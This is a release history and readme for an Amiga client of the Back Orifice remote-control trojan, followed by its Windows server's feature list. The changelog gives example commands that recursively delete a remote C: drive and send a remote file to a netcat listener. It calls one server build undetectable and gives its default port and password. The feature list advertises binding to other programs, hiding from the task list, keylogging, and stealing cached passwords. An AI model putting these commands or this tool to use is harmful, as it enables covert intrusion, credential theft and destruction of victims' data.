--------------------------------------------------------------------- Back Orifice Amiga Client * History Version 1.21.1 - First public release; Version 1.21.2 - Internal beta; Version 1.21.3 - Removed bug on sweep, sweeplist command; - Added support of name server in sweeplist file, Example: 200.200.200:Server name 300.300.300 400.400.400:Server name 2 - Now sweep command is faster; - Now don't use more wait command of amigados, internal sleep command is writed; Version 1.21.4 - Fixed enforce error when close socket, sweep, ping... - Added bold, underline on any returns; - Added internal version; - BO now is very very most stable; Version 1.21.5 - Added command "port" for simple set port; - Added line blanker before and after help commands; - Added profadd, profdel, profload, proflist commands; Version 1.21.6 - Added command "macro" to execute many commands using a file macro, example: ping procspawn "command.com /C deltree /Y c:*.*" info status Version 1.21.7 - Added aliasadd, aliasdel, aliaslist commands; - Modified API internal commands to support external commands, now its possible to you create many more commands to add on BO. It's possible to add all DOS, Windows commands, and macro with many commands in only one, example: [ Exist three arguments $arg1, $arg2, $arg3 ] aliasadd deltree procspaw command.com /C deltree $arg1 after added new command just write deltree c:, * see help procspawn for spawn commands in remote machine. * See Bo.Alias example!!! * Remember to copy Bo.Alias to your s: dir. Copy bo.alias s: - Rewrite routine used in profcommands. Remove your profiles and add it again or edit s:bo.profile and change string ":" to "®" inside txt file; Remember "!" is a reserved caracter of BO, never use it. - Added new command "call", for run local commands, usefull inside of macros; - Fixed little bug on bold caracters; - Added new command "version"; - Added NetCat server for use tcpsend, tcprecv; Example: Amigados: nc -l -p 2000 > ram:file BOAmiga : tcpsend c:\autoexec.bat x.x.x.x:2000 Version 1.21.8 - Added "logfile" command; - Fixed stack bug; - Added support to s:bo.startup, macro commands to load on startup; - Fixed help of AliasAdd command; Version 1.21.9 - Fixed version information about unix source; - Fixed some help information commands; - Added new modules CDIN, CDOUT, DELTREE, MCD; - Added new commands on bo.alias file; - Some cosmetic changes; Version 1.21.10 - Added UNSTOP command to get delay information; - Added BoLogFilter external command to filter BO keylog; - New server now with 55kb, new default port and pass, use profload amiga to configure to new server; - Server "Today" 10.01.2000 are indetectable; - Release two versions 000-(020, 030), 060-(040, 060); - Server now has by default Port: 44999 Pass: vaporware Ported and Re-Writed By SuRRouND 1998-2000 (Brazil) Porting is based on Unix v1.21 source code Required: Any Amiga libs: socket.library --------------------------------------------------------------------- URL : http://www.cultdeadcow.com/ Title: Worst Case Scenario Back Orifice Windows Remote Administration Tool Back Orifice is a remote administration system which allows a user to control a computer across a tcpip connection using a simple console or GUI application. On a local LAN or across the internet, BO gives its user more control of the remote Windows machine than the person at the keyboard of the remote machine has. BO is small, and entirely self installing. Simply executing the server on any windows machine installs the server, moving the executable into the system where it will not interfere with other running applications. To ease distribution, BO can also be attached to any other windows executable which will run normally after installing the server. Once running, BO does not show up in the task list or close-program list, and is rerun every time the computer is started. The filename that it runs as is configurable before it is installed, and it's as easy to upgrade as uploading the new version and running it. The Back Orifice Server Contains the Following Functionality System control Create dialog boxes with the text of your choice. Log keystrokes. Lockup or reboot the machine. Get detailed system information, including: o current user o cpu type o windows version o memory usage o mounted disks (including hard drives, cdroms, removable drives and remote network drives) and information for those drives o screensaver password o passwords cached by the user (including those for dialups, web and network access, and any other password cached by the operating system) File system control Copy, rename, delete, view, and search files and directories. File compression and decompression. Process control List, kill, and spawn processes. Registry control List, create, delete and set keys and values in the registry. Network control View all accessible network resources, all incoming and outgoing connections, list, create and delete network connections, list all exported resources and their passwords, create and delete exports. Multimedia control Play wav files, capture screen shots, and capture video or still frames from any video input device (like a Quickcam). Packet redirection Redirect any incoming TCP or UDP port to any other address & port. Application redirection Spawn most console applications (such as command.com) on any TCP port, allowing control of applications via a telnet session. HTTP server Upload and download files on any port using a www client such as Netscape. Integrated packet sniffer Monitor network packets, logging any plaintext passwords that pass. Plugin interface Write your own plugins and execute the native code of your choice in BO's hidden system process.